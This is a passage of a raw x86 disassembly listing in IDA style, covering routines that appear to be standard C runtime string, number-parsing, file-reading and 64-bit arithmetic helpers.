ecx pop ecx jmp short loc_418656 ; --------------------------------------------------------------------------- loc_41864B: ; CODE XREF: sub_418533+10Bj mov eax, off_438A80 mov ax, [eax+esi*2] and eax, edi loc_418656: ; CODE XREF: sub_418533+116j test eax, eax jz short loc_4186A4 movsx eax, bl push eax call sub_41D3CB pop ecx mov ecx, eax sub ecx, 37h loc_418669: ; CODE XREF: sub_418533+102j cmp ecx, [ebp+arg_8] jnb short loc_4186A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41868E jnz short loc_418688 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41868E loc_418688: ; CODE XREF: sub_418533+147j or [ebp+arg_C], 4 jmp short loc_418697 ; --------------------------------------------------------------------------- loc_41868E: ; CODE XREF: sub_418533+145j ; sub_418533+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418697: ; CODE XREF: sub_418533+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418608 ; --------------------------------------------------------------------------- loc_4186A4: ; CODE XREF: sub_418533+125j ; sub_418533+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4186C2 test edx, edx jz short loc_4186BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4186BC: ; CODE XREF: sub_418533+181j and [ebp+var_8], 0 jmp short loc_41870F ; --------------------------------------------------------------------------- loc_4186C2: ; CODE XREF: sub_418533+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4186E8 test cl, 1 jnz short loc_41870F and ecx, 2 jz short loc_4186DF cmp [ebp+var_8], 80000000h ja short loc_4186E8 loc_4186DF: ; CODE XREF: sub_418533+1A1j test ecx, ecx jnz short loc_41870F cmp [ebp+var_8], eax jbe short loc_41870F loc_4186E8: ; CODE XREF: sub_418533+197j ; sub_418533+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4894AC, 22h jz short loc_4186FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_41870F ; --------------------------------------------------------------------------- loc_4186FE: ; CODE XREF: sub_418533+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41870F: ; CODE XREF: sub_418533+18Dj ; sub_418533+19Cj ... test edx, edx jz short loc_418718 mov eax, [ebp+var_4] mov [edx], eax loc_418718: ; CODE XREF: sub_418533+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418726 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418726: ; CODE XREF: sub_418533+1E9j mov eax, [ebp+var_8] jmp short loc_418736 ; --------------------------------------------------------------------------- loc_41872B: ; CODE XREF: sub_418533+66j ; sub_418533+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418734 mov [eax], edi loc_418734: ; CODE XREF: sub_418533+1FDj xor eax, eax loc_418736: ; CODE XREF: sub_418533+1F6j pop edi pop esi pop ebx leave retn sub_418533 endp ; =============== S U B R O U T I N E ======================================= sub_41873B proc near ; CODE XREF: sub_405285+4A6p ; sub_40EC43+372Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418533 add esp, 10h retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418752 proc near ; CODE XREF: sub_405285+24Cp ; sub_405285+450p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_4177B0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D497 add esp, 10h leave retn sub_418752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418786 proc near ; CODE XREF: sub_4058E9+4Ep ; sub_406A71+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_4187AA xor eax, eax jmp loc_418853 ; --------------------------------------------------------------------------- loc_4187AA: ; CODE XREF: sub_418786+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_4187BD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_4187C9 ; --------------------------------------------------------------------------- loc_4187BD: ; CODE XREF: sub_418786+2Dj mov [ebp+arg_C], 1000h jmp short loc_4187C9 ; --------------------------------------------------------------------------- loc_4187C6: ; CODE XREF: sub_418786+C4j mov ecx, [ebp+arg_0] loc_4187C9: ; CODE XREF: sub_418786+35j ; sub_418786+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_4187FB mov eax, [esi+4] test eax, eax jz short loc_4187FB cmp ecx, eax mov edi, ecx jb short loc_4187E0 mov edi, eax loc_4187E0: ; CODE XREF: sub_418786+56j push edi push dword ptr [esi] push ebx call sub_417090 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418846 ; --------------------------------------------------------------------------- loc_4187FB: ; CODE XREF: sub_418786+49j ; sub_418786+50j cmp ecx, [ebp+arg_C] jb short loc_41882E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418811 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418811: ; CODE XREF: sub_418786+80j push eax push ebx push dword ptr [esi+10h] call sub_41E021 add esp, 0Ch test eax, eax jz short loc_418858 cmp eax, 0FFFFFFFFh jz short loc_41885E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418846 ; --------------------------------------------------------------------------- loc_41882E: ; CODE XREF: sub_418786+78j push esi call sub_41DF48 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418862 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418846: ; CODE XREF: sub_418786+73j ; sub_418786+A6j cmp [ebp+arg_0], 0 jnz loc_4187C6 mov eax, [ebp+arg_8] loc_418853: ; CODE XREF: sub_418786+1Fj ; sub_418786+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418858: ; CODE XREF: sub_418786+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418862 ; --------------------------------------------------------------------------- loc_41885E: ; CODE XREF: sub_418786+9Fj or dword ptr [esi+0Ch], 20h loc_418862: ; CODE XREF: sub_418786+B2j ; sub_418786+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418853 sub_418786 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41886E proc near ; CODE XREF: sub_405983+2A1p ; sub_405F35+100p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418887: ; CODE XREF: sub_41886E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418887 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4188AF mov edx, dword_4894A8 loc_4188AF: ; CODE XREF: sub_41886E+39j ; sub_41886E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_4188CF test al, al jz short loc_4188CF inc edx jmp short loc_4188AF ; --------------------------------------------------------------------------- loc_4188CF: ; CODE XREF: sub_41886E+58j ; sub_41886E+5Cj mov ebx, edx loc_4188D1: ; CODE XREF: sub_41886E+81j mov al, [edx] test al, al jz short loc_4188F5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_4188F1 inc edx jmp short loc_4188D1 ; --------------------------------------------------------------------------- loc_4188F1: ; CODE XREF: sub_41886E+7Ej and byte ptr [edx], 0 inc edx loc_4188F5: ; CODE XREF: sub_41886E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4894A8, edx and eax, ebx pop ebx leave retn sub_41886E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418910 proc near ; CODE XREF: sub_4061E4+1B3p ; sub_4070A3+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418993 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418934 shr ecx, 2 jnz short loc_4189A1 jmp short loc_418955 ; --------------------------------------------------------------------------- loc_418934: ; CODE XREF: sub_418910+1Bj ; sub_418910+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418962 test al, al jz short loc_41896A test esi, 3 jnz short loc_418934 mov ebx, ecx shr ecx, 2 jnz short loc_4189A1 loc_418950: ; CODE XREF: sub_418910+8Fj and ebx, 3 jz short loc_418962 loc_418955: ; CODE XREF: sub_418910+22j ; sub_418910+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41898E dec ebx jnz short loc_418955 loc_418962: ; CODE XREF: sub_418910+2Bj ; sub_418910+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41896A: ; CODE XREF: sub_418910+2Fj test edi, 3 jz short loc_418984 loc_418972: ; CODE XREF: sub_418910+72j mov [edi], al inc edi dec ecx jz loc_418A06 test edi, 3 jnz short loc_418972 loc_418984: ; CODE XREF: sub_418910+60j mov ebx, ecx shr ecx, 2 jnz short loc_4189F7 loc_41898B: ; CODE XREF: sub_418910+7Fj ; sub_418910+F4j mov [edi], al inc edi loc_41898E: ; CODE XREF: sub_418910+4Dj dec ebx jnz short loc_41898B pop ebx pop esi loc_418993: ; CODE XREF: sub_418910+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418999: ; CODE XREF: sub_418910+A9j ; sub_418910+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418950 loc_4189A1: ; CODE XREF: sub_418910+20j ; sub_418910+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418999 test dl, dl jz short loc_4189EB test dh, dh jz short loc_4189E1 test edx, 0FF0000h jz short loc_4189D7 test edx, 0FF000000h jnz short loc_418999 mov [edi], edx jmp short loc_4189EF ; --------------------------------------------------------------------------- loc_4189D7: ; CODE XREF: sub_418910+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4189EF ; --------------------------------------------------------------------------- loc_4189E1: ; CODE XREF: sub_418910+B1j and edx, 0FFh mov [edi], edx jmp short loc_4189EF ; --------------------------------------------------------------------------- loc_4189EB: ; CODE XREF: sub_418910+ADj xor edx, edx mov [edi], edx loc_4189EF: ; CODE XREF: sub_418910+C5j ; sub_418910+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418A01 loc_4189F7: ; CODE XREF: sub_418910+79j xor eax, eax loc_4189F9: ; CODE XREF: sub_418910+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4189F9 loc_418A01: ; CODE XREF: sub_418910+E5j and ebx, 3 jnz short loc_41898B loc_418A06: ; CODE XREF: sub_418910+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418910 endp ; =============== S U B R O U T I N E ======================================= sub_418A0E proc near ; CODE XREF: sub_406A71+2E2p ; sub_406A71+42Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418A8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418A2D cmp edi, 1 jz short loc_418A2D cmp edi, 2 jnz short loc_418A8A loc_418A2D: ; CODE XREF: sub_418A0E+13j ; sub_418A0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418A44 push esi call sub_41E2B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418A44: ; CODE XREF: sub_418A0E+27j push esi call sub_41A4D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418A59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418A6D ; --------------------------------------------------------------------------- loc_418A59: ; CODE XREF: sub_418A0E+42j test al, 1 jz short loc_418A6D test al, 8 jz short loc_418A6D test ah, 4 jnz short loc_418A6D mov dword ptr [esi+18h], 200h loc_418A6D: ; CODE XREF: sub_418A0E+49j ; sub_418A0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E217 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418A97 ; --------------------------------------------------------------------------- loc_418A8A: ; CODE XREF: sub_418A0E+Bj ; sub_418A0E+1Dj mov dword_4894AC, 16h or eax, 0FFFFFFFFh loc_418A97: ; CODE XREF: sub_418A0E+7Aj pop edi pop esi retn sub_418A0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AA0 proc near ; CODE XREF: sub_406A71+2ACp ; sub_406A71+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418AD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418ACF jz short loc_418AD1 dec ecx dec ecx loc_418ACF: ; CODE XREF: sub_418AA0+29j not ecx loc_418AD1: ; CODE XREF: sub_418AA0+9j ; sub_418AA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_406F62+5Cp ; sub_406F62+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418B94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418B0A loc_418AFB: ; CODE XREF: sub_418AE0+28j mov al, [edi] inc edi test al, al jz short loc_418B3B test edi, 3 jnz short loc_418AFB loc_418B0A: ; CODE XREF: sub_418AE0+19j ; sub_418AE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418B0A mov eax, [edi-4] test al, al jz short loc_418B48 test ah, ah jz short loc_418B43 test eax, 0FF0000h jz short loc_418B3E test eax, 0FF000000h jnz short loc_418B0A loc_418B3B: ; CODE XREF: sub_418AE0+20j dec edi jmp short loc_418B4B ; --------------------------------------------------------------------------- loc_418B3E: ; CODE XREF: sub_418AE0+52j sub edi, 2 jmp short loc_418B4B ; --------------------------------------------------------------------------- loc_418B43: ; CODE XREF: sub_418AE0+4Bj sub edi, 3 jmp short loc_418B4B ; --------------------------------------------------------------------------- loc_418B48: ; CODE XREF: sub_418AE0+47j sub edi, 4 loc_418B4B: ; CODE XREF: sub_418AE0+5Cj ; sub_418AE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418B60 mov ebx, ecx shr ecx, 2 jnz short loc_418BAC jmp short loc_418B7C ; --------------------------------------------------------------------------- loc_418B60: ; CODE XREF: sub_418AE0+75j ; sub_418AE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418B9A mov [edi], dl inc edi dec ecx jz short loc_418B90 test esi, 3 jnz short loc_418B60 mov ebx, ecx shr ecx, 2 jnz short loc_418BAC loc_418B7C: ; CODE XREF: sub_418AE0+7Ej ; sub_418AE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418B90 loc_418B83: ; CODE XREF: sub_418AE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418B92 dec ecx jnz short loc_418B83 loc_418B90: ; CODE XREF: sub_418AE0+8Bj ; sub_418AE0+A1j mov [edi], cl loc_418B92: ; CODE XREF: sub_418AE0+ABj pop ebx pop esi loc_418B94: ; CODE XREF: sub_418AE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418B9A: ; CODE XREF: sub_418AE0+85j ; sub_418AE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418BA4: ; CODE XREF: sub_418AE0+E4j ; sub_418AE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418B7C loc_418BAC: ; CODE XREF: sub_418AE0+7Cj ; sub_418AE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418BA4 test dl, dl jz short loc_418B9A test dh, dh jz short loc_418BF8 test edx, 0FF0000h jz short loc_418BE8 test edx, 0FF000000h jnz short loc_418BA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418BE8: ; CODE XREF: sub_418AE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418BF8: ; CODE XREF: sub_418AE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418AE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C10 proc near ; CODE XREF: sub_4070A3+2A2p ; sub_40EC43+31A1p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418C31 xor eax, eax jmp short loc_418C33 ; --------------------------------------------------------------------------- loc_418C31: ; CODE XREF: sub_418C10+1Bj mov eax, edi loc_418C33: ; CODE XREF: sub_418C10+1Fj cld pop edi leave retn sub_418C10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418C50 loc_418C40: ; CODE XREF: sub_418C50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418C50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C50 proc near ; CODE XREF: sub_408A63+D9p ; sub_40D8F8+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418C40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418C56: ; CODE XREF: sub_417580+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418C7B loc_418C68: ; CODE XREF: sub_418C50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418C40 test cl, cl jz short loc_418CC4 test edx, 3 jnz short loc_418C68 loc_418C7B: ; CODE XREF: sub_418C50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418C86: ; CODE XREF: sub_418C50+61j ; sub_418C50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418CC8 and eax, 81010100h jz short loc_418C86 and eax, 1010100h jnz short loc_418CC2 and esi, 80000000h jnz short loc_418C86 loc_418CC2: ; CODE XREF: sub_418C50+68j ; sub_418C50+81j ... pop esi pop edi loc_418CC4: ; CODE XREF: sub_418C50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418CC8: ; CODE XREF: sub_418C50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_418D05 test al, al jz short loc_418CC2 cmp ah, bl jz short loc_418CFE test ah, ah jz short loc_418CC2 shr eax, 10h cmp al, bl jz short loc_418CF7 test al, al jz short loc_418CC2 cmp ah, bl jz short loc_418CF0 test ah, ah jz short loc_418CC2 jmp short loc_418C86 ; --------------------------------------------------------------------------- loc_418CF0: ; CODE XREF: sub_418C50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418CF7: ; CODE XREF: sub_418C50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418CFE: ; CODE XREF: sub_418C50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418D05: ; CODE XREF: sub_418C50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418C50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D0C proc near ; CODE XREF: sub_408A63+C6p ; sub_40EC43+47C1p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_418D20 xor eax, eax jmp short loc_418D56 ; --------------------------------------------------------------------------- loc_418D20: ; CODE XREF: sub_418D0C+Ej dec [ebp+arg_4] push esi jz short loc_418D50 mov esi, [ebp+arg_8] loc_418D29: ; CODE XREF: sub_418D0C+42j dec dword ptr [esi+4] js short loc_418D38 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_418D3F ; --------------------------------------------------------------------------- loc_418D38: ; CODE XREF: sub_418D0C+20j push esi call sub_41DF48 pop ecx loc_418D3F: ; CODE XREF: sub_418D0C+2Aj cmp eax, 0FFFFFFFFh jz short loc_418D5A mov [edi], al inc edi cmp al, 0Ah jz short loc_418D50 dec [ebp+arg_4] jnz short loc_418D29 loc_418D50: ; CODE XREF: sub_418D0C+18j ; sub_418D0C+3Dj ... and byte ptr [edi], 0 loc_418D53: ; CODE XREF: sub_418D0C+55j mov eax, ebx pop esi loc_418D56: ; CODE XREF: sub_418D0C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_418D5A: ; CODE XREF: sub_418D0C+36j cmp edi, [ebp+arg_0] jnz short loc_418D50 xor ebx, ebx jmp short loc_418D53 sub_418D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D63 proc near ; CODE XREF: sub_40904E+BFp ; sub_40904E+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_489540 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_418D97 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_418DFE loc_418D7F: ; CODE XREF: sub_418D63+30j mov cl, [edx] cmp cl, 61h jl short loc_418D90 cmp cl, 7Ah jg short loc_418D90 sub cl, 20h mov [edx], cl loc_418D90: ; CODE XREF: sub_418D63+21j ; sub_418D63+26j inc edx cmp [edx], bl jnz short loc_418D7F jmp short loc_418DFE ; --------------------------------------------------------------------------- loc_418D97: ; CODE XREF: sub_418D63+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E409 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_418DF0 push edi call sub_417889 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_418DF0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_489540 call sub_41E409 add esp, 20h test eax, eax jz short loc_418DF0 push [ebp+var_4] push [ebp+arg_0] call sub_4176C0 pop ecx pop ecx loc_418DF0: ; CODE XREF: sub_418D63+53j ; sub_418D63+61j ... push [ebp+var_4] call sub_41793B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_418DFE: ; CODE XREF: sub_418D63+1Aj ; sub_418D63+32j pop ebx leave retn sub_418D63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E01 proc near ; CODE XREF: sub_40A781+6p ; sub_40A79F+48p ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_489540, 0 push ebx push esi push edi jnz short loc_418E2E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_418EC7 cmp eax, 5Ah jg loc_418EC7 add eax, 20h jmp loc_418EC7 ; --------------------------------------------------------------------------- loc_418E2E: ; CODE XREF: sub_418E01+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_418E62 cmp dword_438C8C, esi jle short loc_418E50 push esi push ebx call sub_41A342 pop ecx pop ecx jmp short loc_418E5A ; --------------------------------------------------------------------------- loc_418E50: ; CODE XREF: sub_418E01+42j mov eax, off_438A80 mov al, [eax+ebx*2] and eax, esi loc_418E5A: ; CODE XREF: sub_418E01+4Dj test eax, eax jnz short loc_418E62 loc_418E5E: ; CODE XREF: sub_418E01+ADj mov eax, ebx jmp short loc_418EC7 ; --------------------------------------------------------------------------- loc_418E62: ; CODE XREF: sub_418E01+3Aj ; sub_418E01+5Bj mov edx, off_438A80 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_418E86 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_418E8F ; --------------------------------------------------------------------------- loc_418E86: ; CODE XREF: sub_418E01+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_418E8F: ; CODE XREF: sub_418E01+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_489540 call sub_41E409 add esp, 20h test eax, eax jz short loc_418E5E cmp eax, esi jnz short loc_418EBA movzx eax, [ebp+var_4] jmp short loc_418EC7 ; --------------------------------------------------------------------------- loc_418EBA: ; CODE XREF: sub_418E01+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_418EC7: ; CODE XREF: sub_418E01+16j ; sub_418E01+1Fj ... pop edi pop esi pop ebx leave retn sub_418E01 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418ED0 proc near ; CODE XREF: sub_40B637+3Dp ; sub_40CE23+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_418EF1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_418F41 ; --------------------------------------------------------------------------- loc_418EF1: ; CODE XREF: sub_418ED0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_418EFF: ; CODE XREF: sub_418ED0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_418EFF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_418F2A cmp edx, [esp+4+arg_4] ja short loc_418F2A jb short loc_418F32 cmp eax, [esp+4+arg_0] jbe short loc_418F32 loc_418F2A: ; CODE XREF: sub_418ED0+4Aj ; sub_418ED0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_418F32: ; CODE XREF: sub_418ED0+52j ; sub_418ED0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_418F41: ; CODE XREF: sub_418ED0+1Fj pop ebx retn 10h sub_418ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_40B637+24p ; sub_40CE23+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_418F72 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_418FB3 ; --------------------------------------------------------------------------- loc_418F72: ; CODE XREF: sub_418F50+8j mov ecx, eax mov ebx, 